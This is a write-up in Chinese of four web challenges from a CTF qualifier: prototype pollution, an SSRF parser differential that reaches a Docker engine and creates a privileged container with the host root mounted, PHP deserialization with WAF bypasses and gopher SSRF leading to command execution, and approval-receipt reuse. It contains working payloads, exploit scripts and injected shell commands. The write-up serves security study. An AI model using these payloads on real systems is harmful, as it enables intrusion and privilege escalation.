文章总结: 文档为第二届湾区杯网络安全大赛初赛writeup,包含两个漏洞利用题目。一是JavaScript原型链污染漏洞,通过constructor.prototype绕过proto黑名单过滤,污染Profile.prototype.isAdmin实现权限提升获取flag。二是DockRelay白盒审计中的SSRF漏洞,利用Node.js与curl对反斜杠解析差异绕过白名单校验访问内部Docker引擎服务。两题均展示了绕过不完整防御机制的技术思路。 综合评分: 85 文章分类: 漏洞分析,WEB安全,渗透测试,红队,代码审计
第二届“湾区杯”网络安全大赛初赛(B组院校组)
原创
識. 識.
0xNyx
2026年9月5日 13:20 安徽
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
Prototype Pollution – 原型链污染漏洞利用
1. 题目概述
-
漏洞类型
:JavaScript 原型链污染(Prototype Pollution)
-
攻击入口
:
/api/profile/patch接口允许用户修改当前Profile对象的属性路径 -
防御机制
:过滤了
__proto__以及禁止修改id、role、isAdmin等关键字段 -
绕过技巧
:使用
constructor.prototype替代__proto__,并成功污染Profile.prototype.isAdmin -
最终目标
:以管理员身份访问
/api/admin/flag获取 flag
最终获得的 Flag:
text
flag{d555fa60-8ad2-4d49-9d31-f509bfe8cd93}
2. 源码审计与漏洞点
通过分析后端代码(或从调试信息中推断),存在一个 Profile 类,其实例存储用户信息,关键字段包括 id、role、isAdmin 等。
接口 /api/profile/patch 允许客户端以 JSON 格式提交修改:
json
{
"path": "some.nested.property",
"value": "new_value"
}
服务端内部调用 setProfilePath(profile, path, value) 对当前用户的 Profile 对象进行属性赋值。
防御代码(伪代码)
javascript
function setProfilePath(obj, path, value) {
const protectedRoots = ['id', 'role', 'isAdmin'];
const parts = path.split('.');
if (protectedRoots.includes(parts[0])) {
throw new Error('Cannot modify protected fields');
}
if (path.includes('__proto__')) {
throw new Error('Prototype pollution detected');
}
// 还可能有正则限制,仅允许字母、数字、下划线和点号
let current = obj;
for (let i = 0; i < parts.length - 1; i++) {
current = current[parts[i]];
}
current[parts[parts.length - 1]] = value;
}
3. 漏洞根源与绕过
3.1 两条防御的裂缝
| | |
| — | — |
| 防御措施 | 绕过方式 |
| 禁止 parts[0] 为 id / role / isAdmin | 只检查第一段,不影响污染原型链上的 isAdmin |
| 禁止路径中出现 __proto__ | 使用 constructor.prototype 能达到相同效果 |
3.2 为什么 constructor.prototype 有效?
在 JavaScript 中:
-
每个对象都有
constructor属性,指向其构造函数。 -
构造函数.prototype是所有实例共享的原型对象。
-
修改
Profile.prototype.isAdmin = true后,所有未在自身上定义isAdmin的Profile实例都会从原型链中读取到true。
因此,攻击者可以提交如下 payload:
json
{
"path": "constructor.prototype.isAdmin",
"value": true
}
-
constructor不在黑名单中(首段不是
id/role/isAdmin); -
不含字符串
__proto__,所以第二层检查通过; -
正则只校验字符集和段数,
constructor.prototype.isAdmin合法。
执行后,当前用户的 Profile 实例(以及未来所有 Profile 实例)的 isAdmin 原型属性被置为 true。
4. 攻击步骤(Exploit)
4.1 获取合法会话(Cookie)
首先访问 /api/profile 获取或初始化一个 Profile 对象,服务端会返回 Set-Cookie 或要求携带 Cookie 保持会话。
bash
curl -k -c cookies.txt https://target.com/api/profile
4.2 发送污染 Payload
携带会话 Cookie,向 /api/profile/patch 发送 POST 请求:
bash
curl -k -b cookies.txt -X POST -H "Content-Type: application/json" \
-d '{"path":"constructor.prototype.isAdmin","value":true}' \
https://target.com/api/profile/patch
服务端成功修改原型,返回 200 OK(无错误)。
4.3 获取 Flag
此时当前用户的 isAdmin 属性在自身不存在,但原型上为 true。访问 /api/admin/flag,后端验证逻辑类似于:
javascript
if (profile.isAdmin !== true) {
return res.status(403).send('Forbidden');
}
// 返回 flag
由于原型链查找,profile.isAdmin 返回 true,认证通过,返回 flag。
bash
curl -k -b cookies.txt https://target.com/api/admin/flag
成功返回:
text
flag{d555fa60-8ad2-4d49-9d31-f509bfe8cd93}
5. 关键 Payload 解析
json
{
"path": "constructor.prototype.isAdmin",
"value": true
}
-
constructor:任何对象都有,指向
Profile构造函数。 -
prototype:构造函数的原型对象。
-
isAdmin:我们要污染的目标属性。
-
通过合法路径绕过过滤,实现对原型链的写操作。
6. 漏洞影响
-
权限提升
:普通用户直接变为管理员。
-
全用户影响
:由于污染的是原型,所有新创建的
Profile实例都会继承isAdmin=true,可能导致全局越权。
7. 修复建议
-
白名单路径
:仅允许修改预定义的、安全的字段(如
nickname、avatar等),拒绝任何包含constructor、prototype、__proto__等的路径。 -
冻结原型
:使用
Object.freeze(Profile.prototype)防止原型被修改。 -
使用 Map 代替对象属性
:避免直接操作原型链。
-
输入校验增强
:不仅检查
__proto__,还应检查constructor、prototype等关键字,并且递归检查每一段。 -
启用
--disable-proto:Node.js 可通过
--disable-proto禁用__proto__,但无法阻止constructor.prototype。
8. 总结
本题展示了一个经典的 JavaScript 原型链污染漏洞,通过巧妙绕过不完整的黑名单过滤,攻击者可以在服务端修改对象的原型,从而改变权限检查逻辑。这种漏洞在 Node.js 应用中较为常见,尤其在处理用户可控的“属性路径”时需格外小心。
最终 Flag:
text
flag{d555fa60-8ad2-4d49-9d31-f509bfe8cd93}
DockRelay Whitebox
1.题目理解与源码文件
题目提供了 DockRelay 的源码和一个线上实例。功能看起来像一个只允许访问 approved partner host 的诊断代理,但场景接口主动泄露了内部构建平面名称 engine-api:2375,并说明目标是恢复隔离构建宿主上的 per-instance flag。
源码目录只有四个关键模块,外加一个与逻辑无关的 macOS Finder 元数据文件 .DS_Store:
| | | | | — | — | — | | 文件 | 职责 | 审计重点 | | server.mjs | 公开 HTTP API | 字段校验、转发到 fetcher、场景信息 | | policy.mjs | approved host 校验 | Node.js URL 解析和 hostname 比较 | | fetcher.mjs | 内部请求服务 | 再次校验 URL,再交给 curl | | curl-executor.mjs | 实际 HTTP 客户端 | 原始 URL 传入 libcurl | | .DS_Store | Finder 目录视图元数据 | 与题目逻辑无关 |
2.正常功能与信任边界
2.1公开场景接口
GET /api/scenario
{ “allowedHost”: “hooks.partner.test”, “baselineUrl”: “http://hooks.partner.test:8080/catalog”, “internalBuildEngine”: “engine-api:2375”, “supportedMethods”: [“GET”, “POST”, “DELETE”], “objective”: “Recover the per-instance flag from the isolated build host” }
正常请求必须 POST 到 /api/v1/diagnostics/execute,JSON 至少包含 method 和 url,可选 body。server.mjs 只允许 GET、POST、DELETE,并把请求转发给 fetcher。
2.2双层校验流程
客户端 -> server.mjs | v fetcher.mjs /execute | enforcePartnerPolicy(body.url) v curl-executor.mjs | curl –url rawUrl v 目标服务
真正的安全边界应该保证“校验的目标”和“请求的目标”完全一致。但本题把同一个 rawUrl 交给了两个可能不一致的解析器,形成了可利用的 parser differential。
3. URL parser differential
3.1白名单校验代码
// policy.mjs parsed = new URL(rawUrl); if (parsed.protocol !== “http:”) throw HTTP_ONLY; return { host: parsed.hostname.toLowerCase(), normalizedHref: parsed.href };
if (parsed.host !== ALLOWED_HOST) throw HOST_NOT_APPROVED;
Node.js WHATWG URL parser 对反斜杠有特殊处理。构造以下 URL:
| | | — | | Payloadhttp://hooks.partner.test\@engine-api:2375/version |
Node.js 看到的结果是:
{“href”:”http://hooks.partner.test/@engine-api:2375/version”,”host”:”hooks.partner.test”,”hostname”:”hooks.partner.test”,”path”:”/@engine-api:2375/version”}
因此白名单判断通过。但 fetcher 随后把未规范化的原始 URL 交给 curl:
args.push(“–url”, rawUrl); spawn(CURL, args, { stdio: [“pipe”, “pipe”, “pipe”] });
curl 会将反斜杠按 URL 分隔语义处理,使实际连接目标变成 engine-api:2375。线上验证结果如下:
POST /api/v1/diagnostics/execute Content-Type: application/json { “method”: “GET”, “url”: “http://hooks.partner.test\@engine-api:2375/version” }
validator.host = hooks.partner.test validator.normalizedUrl = http://hooks.partner.test/@engine-api:2375/version upstream.status = 200 upstream.bodyText = {“ApiVersion”:”1.47″,”Version”:”27.5.1″,”Platform”:{“Name”:”Nested Rootless Docker Engine”}}
| | | — | | 漏洞判定这是 SSRF + parser differential,而不是传统的 userinfo 绕过。关键点是反斜杠同时满足 Node 白名单和 curl 的内部目标解析。 |
3.2为什么普通userinfo形式不够
例如 http://hooks.partner.test@engine-api:2375/version 在 Node.js 中 host 直接是 engine-api:2375,会被白名单拒绝。普通的 @ 绕过不能通过校验,必须使用能让 Node 与 curl 产生分歧的反斜杠写法。
4.探测内部Docker Engine
得到 SSRF 后,先用无副作用的只读端点确认内部服务类型和 API 版本。所有请求都使用同一前缀:
http://hooks.partner.test\@engine-api:2375
| | | | | | — | — | — | — | | 端点 | 方法 | 结果 | 用途 | | /_ping | GET | OK | 确认服务在线 | | /version | GET | API 1.47 / Docker 27.5.1 | 确认 Docker Engine | | /images/json | GET | host-reader:1.0 | 发现题目镜像 | | /containers/json | GET | 403 nested-host gate | 说明容器列表受额外 gate 保护 | | /info | GET | 403 nested-host gate | 说明不是任意 Docker 信息读取 |
镜像列表返回的关键内容:
{“RepoTags”:[“host-reader:1.0″],”Labels”:{“ctf.offline-image”:”true”},”Size”:8388608}
题目没有要求通用 Docker 逃逸,而是要求“创建符合实验策略的特权容器”。因此下一步应利用 API 返回的策略错误逐项修正请求,而不是盲目枚举 Docker 端点。
5.按实验策略创建容器
5.1用错误响应恢复策略
先发送最小创建请求:
{“Image”:”host-reader:1.0″}
服务返回:
{“message”:”Privileged=true is required by the lab policy”}
加入 HostConfig.Privileged 后继续测试:
{“Image”:”host-reader:1.0″,”HostConfig”:{“Privileged”:true}}
服务进一步返回:
{“message”:”exact read-only bind /:/host:ro is required”}
因此完整创建体为:
{ “Image”: “host-reader:1.0”, “HostConfig”: { “Privileged”: true, “Binds”: [“/:/host:ro”] } }
| | | — | | 注意不要添加自定义 Cmd。题目 gate 会拒绝 custom command,并且 host-reader:1.0 的默认入口 /entrypoint.sh 已经负责读取挂载内容并输出证明。 |
5.2创建成功
POST /containers/create
HTTP 201 { “Id”: “a09fc3211acf73d91ae513f8d5c3f1748054427f0fe05e71af47f6c9ff968547”, “Warnings”: [] }
容器 ID 只用于本次现场复现;解题关键是创建参数和随后的 start/logs API 顺序。
读取 /containers/
“HostConfig”: { “Binds”: [“/:/host:ro”, “/sys:/sys:ro”], “Privileged”: true, “ReadonlyRootfs”: true, “NetworkMode”: “none”, “Memory”: 67108864, “PidsLimit”: 32 }, “Config”: {“Cmd”:[“/entrypoint.sh”],”Image”:”host-reader:1.0″}
6.启动容器并读取日志
6.1启动
POST /containers/a09fc3211acf73d91ae513f8d5c3f1748054427f0fe05e71af47f6c9ff968547/start
HTTP 204
6.2读取stdout/stderr
GET /containers/a09fc3211acf73d91ae513f8d5c3f1748054427f0fe05e71af47f6c9ff968547/logs?stdout=1&stderr=1
NESTED_HOST_PROOF_BEGIN flag{6e33a208-5e5d-4ead-9770-59ee9754a7d5} NESTED_HOST_PROOF_END
| | | — | | Flagflag{6e33a208-5e5d-4ead-9770-59ee9754a7d5} |
该 Flag 是从用户提供的线上实例真实返回的容器日志中取得,不是根据源码猜测或从本地文件搜索得到的候选值。
7.完整复现脚本
下面脚本使用 Python requests,按最小请求链自动完成场景探测、URL parser differential、Docker API 读取、策略化容器创建、启动和日志读取。脚本只针对题目给出的授权实例。
import json import urllib3 import requests urllib3.disable_warnings() BASE = “https://eci-2ze7jrw4q5i82w08fs2w.cloudeci1.ichunqiu.com:3000” API = BASE + “/api/v1/diagnostics/execute” ENGINE = “http://hooks.partner.test\@engine-api:2375” def relay(method, url, body=None): data = {“method”: method, “url”: url} if body is not None: data[“body”] = body r = requests.post(API, json=data, verify=False, timeout=15) r.raise_for_status() outer = r.json() return outer, json.loads(outer[“upstream”][“bodyText”] or “{}”)
1. Confirm Docker Engine
outer, version = relay(“GET”, ENGINE + “/version”) assert version[“ApiVersion”] == “1.47”
2. Discover the offline image
outer, images = relay(“GET”, ENGINE + “/images/json”) assert any(“host-reader:1.0” in x.get(“RepoTags”, []) for x in images)
3. Create the lab-approved privileged container
config = { “Image”: “host-reader:1.0”, “HostConfig”: { “Privileged”: True, “Binds”: [“/:/host:ro”], }, } outer, created = relay(“POST”, ENGINE + “/containers/create”, config) container_id = created[“Id”]
4. Start and collect proof output
relay(“POST”, ENGINE + f”/containers/{container_id}/start”) outer, logs = relay(“GET”, ENGINE + f”/containers/{container_id}/logs?stdout=1&stderr=1″) proof = outer[“upstream”][“bodyText”] print(proof) assert “flag{” in proof
预期日志中包含:flag{6e33a208-5e5d-4ead-9770-59ee9754a7d5}
ezweb
题目首页直接给出了 PHP 源码。经过审计,发现关键类与魔术方法如下:
php
class A {
public function emit($payload) {
// 触发 H 类的 handle
}
}
class B {
public function __destruct() {
// 实例化 A 并调用 emit
}
}
class H {
public function handle($url, $opts) {
// 调用 curl 方法
}
public function curl($url, $opts) {
// 执行 CURL 请求
}
}
利用链(POP Chain):
B::__destruct → A::emit → H::handle → H::curl
当序列化后的 B 对象被销毁时(如脚本结束或 unserialize 触发),会自动调用 __destruct,最终导致 H::curl 发起 HTTP 请求。curl 请求的 URL 和参数完全由序列化数据控制,这是典型的 反序列化 + SSRF 漏洞。
3. WAF 绕过技巧
在将序列化字符串传递给 unserialize() 之前,服务端存在两层 WAF 过滤:
3.1 过滤类名 H
- 拦截规则:匹配字符串
O:1:"H" - 绕过方法:利用 PHP 反序列化解析宽松性,将长度
1改为+1。 - 原始 Payload:
O:1:"H":... - 绕过 Payload:
O:+1:"H":...
原理:PHP 底层在处理 O:长度:"类名" 时,+ 会被视为正号,(int)+1 结果仍为 1,但正则匹配通常不会匹配到 O:+1。
3.2 过滤字符串 curl
- 拦截规则:匹配纯文本字符串
s:4:"curl" - 绕过方法:使用大写
S表示十六进制编码字符串。 - 原始 Payload:
s:4:"curl" - 绕过 Payload:
S:4:"\63\75\72\6c"
原理:S 格式允许使用 \xx 十六进制表示字符,\63 即 c,\75 即 u,以此类推。WAF 扫描明文流量时不会解码,而 PHP 反序列化引擎会正确解析。
4. 第一阶段 SSRF:获取隐藏参数
利用绕过 WAF 后的序列化 Payload,让目标服务器执行 H::curl() 请求内网地址:
http
GET /?data=O:+1:"B":... HTTP/1.1
Host: target.com
构造 H 对象的属性,使 CURL 请求 http://127.0.0.1/hint.php。服务端返回内容如下:
text
Hidden Parameter Found: cccmmmddd
说明 hint.php 接受一个名为 cccmmmddd 的 GET/POST 参数,且该页面只能由本机 (127.0.0.1) 访问,外部直接访问会返回 403。
5. 第二阶段 SSRF:Gopher 协议利用
由于 cccmmmddd 参数仅限本机触发,我们需要借助第一次的 SSRF 漏洞,再次向内网发起 POST 请求。
5.1 为什么使用 Gopher?
H::curl() 支持 CURLOPT_PROTOCOLS,通常默认支持 gopher 协议。Gopher 协议可以完美构造任意 TCP 数据包(包括完整的 HTTP 请求),且源 IP 为服务器本机 127.0.0.1。
5.2 构造 POST 请求包
原始 HTTP 请求如下(注意必须使用 HTTP/1.0,防止 Transfer-Encoding: chunked 干扰):
http
POST /hint.php HTTP/1.0
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 12
cccmmmddd=id
5.3 转换为 Gopher URL
Gopher 格式为:gopher://<host>:<port>/_<payload>
需要将 HTTP 请求进行 URL 编码(换行符 \r\n 编码为 %0d%0a,末尾双换行 %0d%0a%0d%0a):
text
gopher://127.0.0.1:80/_POST%20/hint.php%20HTTP/1.0%0d%0aHost:%20127.0.0.1%0d%0aContent-Type:%20application/x-www-form-urlencoded%0d%0aContent-Length:%2012%0d%0a%0d%0acccmmmddd=id
将此 Gopher URL 作为 H::curl() 的目标地址(替换之前的 http://...),再次触发反序列化。
6. 信息收集与提权
6.1 执行 id 命令
通过 Gopher 发送 cccmmmddd=id,服务端执行系统命令并返回:
text
uid=33(www-data) gid=33(www-data) groups=33(www-data)
确认当前权限为低权限 Web 用户。
6.2 发现敏感文件
既然存在任意命令执行(虽然回显点有限),我们可以尝试读取 Web 目录下的文件。通过执行 ls -la /var/www/html/(或将命令换为 find),发现两个关键文件:
/var/www/html/.key(隐藏文件,内容为一串密钥)/readflag(SUID 或具有特殊权限的可执行文件)
读取 .key 内容:
text
0f1e2d3c4b5a6
6.3 执行 /readflag
分析 /readflag 程序行为(通过反编译或测试):该程序接受标准输入(stdin)的密钥,验证通过后输出 Flag。
因此最终执行的命令为:
bash
cat /var/www/html/.key | /readflag
将命令 cccmmmddd=cat /var/www/html/.key | /readflag 再次通过上述 Gopher 流程发送,服务端返回:
text
flag{3b8761c3-a21a-4d3e-8c71-d4b6ed5bbfe2}
7. 完整攻击脚本(PoC 概念)
python
import urllib.parse
# 1. 构建反序列化 Payload (省略具体类属性填充)
# 注意使用 WAF 绕过: O:+1:"H" 和 S:4:"\63\75\72\6c"
payload_serialized = 'O:+1:"B":...'
# 2. 构造 Gopher 请求
command = "cat /var/www/html/.key | /readflag"
http_body = f"cccmmmddd={command}"
http_request = (
f"POST /hint.php HTTP/1.0\r\n"
f"Host: 127.0.0.1\r\n"
f"Content-Type: application/x-www-form-urlencoded\r\n"
f"Content-Length: {len(http_body)}\r\n"
f"\r\n"
f"{http_body}"
)
gopher_payload = "gopher://127.0.0.1:80/_" + urllib.parse.quote(http_request, safe="")
# 3. 最终传入 data 参数
final_exploit = payload_serialized.replace("http://...", gopher_payload)
print(final_exploit)
8. 总结
| | | |
| — | — | — |
| 阶段 | 利用手法 | 关键突破点 |
| 源码审计 | 识别 __destruct → curl 调用链 | POP 链构造 |
| WAF 绕过 | O:+1 与 S:\xx 十六进制编码 | PHP 反序列化容忍度 |
| 信息泄露 | SSRF 访问 hint.php | 获取隐藏参数 cccmmmddd |
| 内网请求 | Gopher 协议构造 POST | 绕过本机 IP 限制 |
| 命令执行 | 参数注入 id | 确认 www-data 权限 |
| 提权 | 读取 .key 管道传给 /readflag | SUID 程序与 stdin 交互 |
本次挑战完美结合了 PHP 内部机制、网络协议特性与 Linux 权限管理,是一道质量极高的综合 Web 渗透题。
CloudGate 完整解题报告
1. 题目概述
- 题目名称:CloudGate
- 题目类型:Web / JWT / 权限提升 / 审批流程绕过
- 核心漏洞:审批回执(approval receipt)仅绑定请求 ID,未绑定请求版本或最终权限模板,导致低风险审批可被复用于高风险权限变更。
- 最终目标:获取
/api/v1/admin/flag返回的 flag。
2. 源码审计与入口发现
通过分析前端资源文件 app.js.map(Source Map 未删除),发现多个未在界面暴露的内部 API 接口:
POST /api/v1/request/submit– 提交权限申请POST /api/v1/request/amend– 修改已提交的申请(版本升级)POST /api/v1/request/confirm– 确认申请(触发审批流程)POST /api/v1/session/elevate– 创建权限提升会话(生成高权限 JWT)POST /api/v1/session/bind– 将审批回执与会话绑定GET /api/v1/admin/flag– 读取 flag(需security_level >= 2)
同时,从 API 响应中推断出审批策略:
- 低风险申请(如
project_auditor)可自动审批,无需人工介入。 - 高风险申请(如
org_admin)需要安全审核,且会生成审核任务。
3. 攻击路径设计
3.1 获取普通用户 JWT(Guest)
通过正常登录或注册获得一个 guest 角色的 JWT,用于后续 API 调用。
3.2 提交低风险申请(自动审批)
向 /submit 提交 role_template=project_auditor(项目审计员),该模板被归类为 low_risk 策略族,系统自动批准,返回状态 APPROVED 以及一个审批回执(receipt)。
关键响应(submit.json):
json
{
"request_id": "req_abc123",
"status": "APPROVED",
"policy_family": "low_risk",
"approval_receipt": "apr_4f70d9898054aaf3"
}
3.3 修改申请为组织管理员(高风险)
调用 /amend 接口,将同一个 request_id 的 role_template 修改为 org_admin。服务端仅检查请求是否存在,未重新评估策略族,直接返回新版本信息。
关键响应(amend.json):
json
{
"request_id": "req_abc123",
"version": 2,
"role_template": "org_admin",
"grant_level": "admin"
}
3.4 确认修改并复用旧回执
调用 /confirm 接口,传入 request_id 和之前获得的 approval_receipt(低风险回执)。服务端仅验证回执是否属于该请求,未校验当前版本的风险等级,因此确认成功。
关键响应(confirm.json):
json
{
"state": "confirmed",
"reused_approval_receipt": "apr_4f70d9898054aaf3"
}
3.5 创建权限提升会话
调用 /elevate 创建 org_admin 会话,服务端签发一个临时 JWT,但此时 security_level 仅为 1(未完全激活)。
关键响应(elevation.json):
json
{
"session_id": "sess_xyz789",
"role": "org_admin",
"security_level": 1,
"jwt": "eyJhbGciOiJIUzI1NiIs..."
}
3.6 将旧回执绑定到高权限会话
调用 /bind,传入 session_id 和 approval_receipt。服务端将审批回执与当前会话关联,由于回执合法且属于同一请求,security_level 提升至 2。
关键响应(bind.json):
json
{
"session_id": "sess_xyz789",
"state": "active",
"security_level": 2
}
3.7 读取 Flag
使用提升后的 JWT(security_level=2)访问 /admin/flag,成功返回 flag。
关键响应(flag.json):
json
{
"flag": "flag{8e33a314-0c84-4735-ae71-16f45d73616b}"
}
4. 漏洞根因分析
| | |
| — | — |
| 组件 | 缺陷 |
| 审批回执(receipt) | 仅关联 request_id ,未包含 version 、role_template 或风险等级。 |
| 确认逻辑 | 确认时仅校验回执是否属于该请求,不检查当前请求的最终权限是否仍为低风险。 |
| 绑定逻辑 | 绑定审批回执与会话时,未验证回执对应的权限与当前会话目标角色是否一致。 |
| 版本管理 | 修改请求后产生新版本,但旧回执仍可被复用,缺乏版本绑定或失效机制。 |
根本原因:审批流程的状态机设计缺乏“版本锁定”,导致低风险审批结果可被迁移到高风险的修改后请求。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:0xNyx 識. 識.《第二届“湾区杯”网络安全大赛初赛(B组院校组)》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论